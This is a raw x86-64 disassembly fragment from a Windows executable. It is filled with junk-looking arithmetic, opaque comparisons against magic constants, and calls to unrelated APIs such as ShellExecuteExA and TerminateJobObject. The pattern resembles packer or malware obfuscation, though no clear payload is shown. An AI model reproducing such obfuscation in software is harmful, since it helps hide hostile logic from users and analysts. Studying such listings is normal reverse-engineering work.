mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1844]
add eax, 0x61
mov dword [rsp + 0x1844], eax
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x670]
add eax, ecx
mov word [rsp + 0x628], ax
mov rax, qword [rsp + 0x2f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2f70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x17ec]
mov ecx, dword [rsp + 0x1714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1798], eax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2fb8]
mov rcx, qword [rsp + 0x2d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x668]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0xd1]
xor eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2f10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2fd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ec8]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x2f28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2ed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2fb8]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x17cc], eax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2f90]
mov word [rcx], ax
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a00c]
and eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2f10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd2]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2f80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2f28]
shr rax, cl
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x1840]
mov ecx, dword [rsp + 0x17e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
cmp dword [rsp + 0x1844], 0xfff7
jb 0x14005d9c3
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2f68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
shl eax, cl
movzx ecx, byte [rsp + 0xd1]
mov rdx, qword [rsp + 0x2d48]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jne 0x14005dea2
lea rax, [rsp + 0x66c]
mov qword [rsp + 0x2fe8], rax
mov rax, qword [rsp + 0x2d20]
mov rcx, qword [rsp + 0x2fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14015a010], eax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x628]
sub eax, ecx
mov rcx, qword [rsp + 0x2f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov byte [rsp + 0xcd], al
lea rax, [rsp + 0xd1]
mov qword [rsp + 0x2ff0], rax
mov rax, qword [rsp + 0x2f70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd2]
add eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2f80]
mov rax, qword [rax]
mov qword [rsp + 0x2ff8], rax
cmp qword [rsp + 0x2ff8], 0
je 0x14005dedd
movabs rax, 0x18cb1afa65396419
cmp qword [rsp + 0x2ff8], rax
je 0x14005dfe9
jmp 0x14005e071
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
movzx ecx, byte [rsp + 0xd2]
movzx edx, byte [rsp + 0xd1]
and ecx, edx
cmp eax, ecx
jge 0x14005dfe4
movzx eax, word [rsp + 0x628]
mov dword [rsp + 0x1858], eax
cmp dword [rsp + 0x1858], 0x4f5
je 0x14005df3b
cmp dword [rsp + 0x1858], 0xfe4
je 0x14005dfc3
jmp 0x14005dfe4
mov rax, qword [rsp + 0x2fb8]
mov ecx, dword [rsp + 0x1854]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1714]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1798], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1840], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2c40], rax
jmp 0x14005dfe4
mov r8, qword [rsp + 0x2c40]
mov rax, qword [rsp + 0x2c50]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x65c]
call fcn.14010c5e0
nop
jmp 0x14005e071
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov dword [rsp + 0x185c], eax
cmp dword [rsp + 0x185c], 0x60d5e5ea
je 0x14005e009
jmp 0x14005e052
movsx eax, word [rsp + 0x66c]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov dword [rsp + 0x1770], eax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x670]
shl eax, cl
mov word [rsp + 0x628], ax
jmp 0x14005e071
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x2f10]
movzx eax, byte [rax]
mov byte [rsp + 0x1860], al
cmp byte [rsp + 0x1860], 0
je 0x14005e09c
cmp byte [rsp + 0x1860], 0x2d
je 0x14005e112
jmp 0x14005e1a0
mov rax, qword [rsp + 0x2f28]
mov qword [rsp + 0x3000], rax
cmp qword [rsp + 0x3000], 0
je 0x14005e0b9
jmp 0x14005e0f8
lea rax, [rsp + 0x668]
mov qword [rsp + 0x3008], rax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x664]
and eax, ecx
mov word [rsp + 0x628], ax
lea rax, [rsp + 0x1788]
mov qword [rsp + 0x3010], rax
jmp 0x14005e10d
lea rcx, [rsp + 0x2d08]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x16c4], eax
jmp 0x14005e1a0
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2ea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2ed0]
mov qword [rcx], rax
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0xcd]
lea rdx, [rsp + 0x16d4]
lea rcx, [rsp + 0x2fa8]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x1864], eax
mov eax, dword [rsp + 0x1728]
mov ecx, dword [rsp + 0x1770]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov dword [rsp + 0x1868], eax
cmp dword [rsp + 0x1868], 0x23c24648
je 0x14005e2ff
cmp dword [rsp + 0x1868], 0x25231569
je 0x14005e1d4
jmp 0x14005e344
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3008]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14015a008], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xd0]
sub ecx, edx
cmp eax, ecx
jg 0x14005e28b
mov rax, qword [rsp + 0x2f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2ff0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
lea rcx, [rsp + 0x11170]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov dword [rsp + 0x1780], eax
mov rax, qword [rsp + 0x2c50]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0xd2]
mov rax, qword [rsp + 0x2d70]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2d48]
movzx ecx, byte [rax]
call fcn.14010cc00
nop
jmp 0x14005e2fd
mov rax, qword [rsp + 0x2fe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3008]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x660]
add ecx, edx
cmp eax, ecx
jl 0x14005e2fd
movzx eax, word [rsp + 0x628]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
lea r9, [rsp + 0x11540]
lea r8, [rsp + 0x2c48]
mov edx, 0xa8
mov ecx, 0xab
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
jmp 0x14005e344
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xd0]
shl eax, cl
mov byte [rsp + 0xcf], al
mov r9d, dword [rsp + 0x17f4]
movzx r8d, byte [rsp + 0xcd]
mov rax, qword [rsp + 0x3010]
mov edx, dword [rax]
mov rax, qword [rsp + 0x2f90]
movzx ecx, word [rax]
call fcn.14010b860
nop
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov rdx, qword [rsp + 0x2f68]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jle 0x14005e4fd
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
and eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ed0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2f28]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14005e4a1
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x186c], al
cmp byte [rsp + 0x186c], 0x1e
je 0x14005e484
cmp byte [rsp + 0x186c], 0x99
je 0x14005e3fb
jmp 0x14005e4a1
mov rax, qword [rsp + 0x2fd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
lea r9, [rsp + 0x3018]
lea r8, [rsp + 0x2dd8]
mov edx, 0xd7
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
mov dword [rsp + 0x1864], eax
mov eax, dword [0x14015a010]
mov ecx, dword [rsp + 0x1840]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x2f80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
jmp 0x14005e4a1
mov r8, qword [rsp + 0x2c40]
movzx edx, word [0x14015ae50]
movzx ecx, word [rsp + 0x664]
call fcn.14010c5e0
nop
mov rax, qword [rsp + 0x2dc0]
mov rcx, qword [rsp + 0x2db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2f68]
mov dword [rcx], eax
mov r8d, 0x3b
lea rdx, [rsp + 0x10f00]
mov ecx, 0xec
call qword [sym.imp.USER32.dll_GetClipboardFormatNameA]
mov dword [rsp + 0x17ec], eax
movsx eax, word [rsp + 0x674]
mov rcx, qword [rsp + 0x3008]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x664]
and eax, ecx
movzx ecx, word [rsp + 0x65c]
mov dword [rsp + 0x1870], ecx
mov rdx, qword [rsp + 0x2d50]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x1870]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005e5f8
mov rax, qword [rsp + 0x2f80]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2f28]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14005e5f3
mov eax, dword [rsp + 0x1840]
mov dword [rsp + 0x1874], eax
cmp dword [rsp + 0x1874], 0x60c4f30a
je 0x14005e5dd
cmp dword [rsp + 0x1874], 0x98dbae43
je 0x14005e5a3
jmp 0x14005e5f3
mov eax, dword [rsp + 0x17d0]
mov ecx, dword [rsp + 0x17f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1854], eax
mov rax, qword [rsp + 0x2f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1714]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
jmp 0x14005e5f3
lea rcx, [rsp + 0x10f50]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x3020], rax
jmp 0x14010a26d
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov edx, dword [rsp + 0x1714]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jg 0x14010a26d
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2fd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c40]
mov qword [rsp + 0x3028], rax
movzx eax, word [rsp + 0x670]
mov rcx, qword [rsp + 0x2f90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x628]
or ecx, edx
cmp eax, ecx
je 0x14005e76f
mov rax, qword [rsp + 0x3008]
movsx eax, word [rax]
mov dword [rsp + 0x1878], eax
cmp dword [rsp + 0x1878], 0x6eba
je 0x14005e6af
jmp 0x14005e74e
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
xor eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov r8d, 0xd1
lea rdx, [rsp + 0x11480]
mov rcx, qword [rsp + 0x3030]
call qword [sym.imp.USER32.dll_GetWindowModuleFileNameA]
mov dword [rsp + 0x1788], eax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x2e68]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xcd]
mov rdx, qword [rsp + 0x2c40]
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rax]
call fcn.14010cd90
nop
jmp 0x14005e76a
movzx eax, word [rsp + 0x664]
movzx ecx, word [0x14015ae50]
add eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
jmp 0x14010a22f
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0xd2]
movzx edx, byte [rsp + 0x8a]
and ecx, edx
cmp eax, ecx
jl 0x14010a118
mov eax, dword [rsp + 0x1728]
movzx ecx, al
mov eax, dword [rsp + 0x1798]
shl eax, cl
mov ecx, dword [rsp + 0x17ec]
mov edx, dword [rsp + 0x1714]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005e91a
mov rax, qword [rsp + 0x2f10]
movzx eax, byte [rax]
mov byte [rsp + 0x187c], al
cmp byte [rsp + 0x187c], 0x65
je 0x14005e7fa
cmp byte [rsp + 0x187c], 0x78
je 0x14005e8fd
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2f68]
mov rdx, qword [rsp + 0x2dc0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jg 0x14005e897
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x674]
movsx ecx, word [rsp + 0x66c]
add eax, ecx
mov word [rsp + 0x660], ax
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xcf]
sub eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x2bf0]
movzx ecx, al
mov rax, qword [rsp + 0x2d60]
shl rax, cl
mov qword [rsp + 0x2c48], rax
mov eax, dword [rsp + 0x1840]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x3048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3048]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x17cc], eax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1714]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2f28]
mov rcx, qword [rsp + 0x2c40]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x670]
and eax, ecx
mov word [rsp + 0x664], ax
movsx eax, word [rsp + 0x674]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov word [0x14015a00c], ax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov word [rsp + 0x670], ax
mov eax, dword [rsp + 0x16e8]
add eax, 0xa4
mov dword [rsp + 0x16e8], eax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0x2f68]
mov ecx, dword [rsp + 0x1714]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3028]
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3010]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ea0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bf0], rax
mov rax, qword [rsp + 0x3008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movzx eax, word [rsp + 0x628]
mov rcx, qword [rsp + 0x2f90]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14015ae50], ax
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0xce]
shl eax, cl
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
cmp dword [rsp + 0x16e8], 0xc1e3
jbe 0x14005e91a
lea rax, [0x14015a008]
mov qword [rsp + 0x3050], rax
mov eax, dword [rsp + 0x17ec]
mov dword [rsp + 0x1880], eax
cmp dword [rsp + 0x1880], 0
je 0x14005ebb3
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
movzx ecx, word [rsp + 0x628]
mov rdx, qword [rsp + 0x2c98]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14010a1f2
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2f70]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x288c], al
cmp byte [rsp + 0x288c], 0x4b
je 0x14010a181
jmp 0x14010a1d6
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2f68]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x10e08]
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0x3038], rax
jmp 0x14010a1f2
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd2], al
lea r9, [rsp + 0x17f4]
lea r8, [rsp + 0x16c4]
mov edx, 0x3b
mov ecx, 0x87
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
mov rax, qword [rsp + 0x2f90]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, byte [rsp + 0xd0]
mov rax, qword [rsp + 0x2cc0]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x2f28]
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rax]
call fcn.14010cd90
nop
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
sar eax, cl
movzx ecx, byte [rsp + 0xd1]
mov rdx, qword [rsp + 0x2f70]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14010a314
movzx eax, word [rsp + 0x670]
movzx ecx, word [0x14015ae50]
add eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov r8d, 0x9b
lea rdx, str.hospitals_Continued
lea rcx, [rsp + 0x112c0]
call qword [sym.imp.KERNEL32.dll_lstrcpynA]
mov qword [rsp + 0x2c28], rax
movzx eax, word [0x14015ae50]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x2f10]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xcd]
mov rax, qword [rsp + 0x2ed0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x2fd0]
mov rcx, qword [rax]
call fcn.14010cd90
nop
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x66c], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2f10]
mov byte [rcx], al
mov r8d, 0xa4
mov edx, 0x1a
lea rcx, [rsp + 0x2f80]
call qword [sym.imp.USER32.dll_OffsetRect]
mov dword [rsp + 0x18fc], eax
mov rax, qword [rsp + 0x2ff0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
jmp 0x14010a493
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x664]
xor eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x2890], eax
cmp dword [rsp + 0x2890], 0x67ab12c8
je 0x14010a474
cmp dword [rsp + 0x2890], 0xb2b03145
je 0x14010a3eb
jmp 0x14010a493
mov ecx, reloc.SHELL32.dll_PathMakeUniqueName
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x1820], eax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
sar eax, cl
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x674], ax
mov edx, 0xb7
mov rcx, qword [rsp + 0x2f18]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x1800], eax
jmp 0x14010a493
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c50]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0xce]
mov rax, qword [rsp + 0x2d48]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2cf8]
movzx ecx, byte [rax]
call fcn.14010cc00
nop
jmp 0x14010a61b
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov rdx, qword [rsp + 0x2d18]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jb 0x14010a577
mov dword [rsp + 0x20], 0xd4
mov r9d, 4
mov r8d, ILGetNext
lea rdx, [rsp + 0x11480]
mov rcx, qword [rsp + 0x2da8]
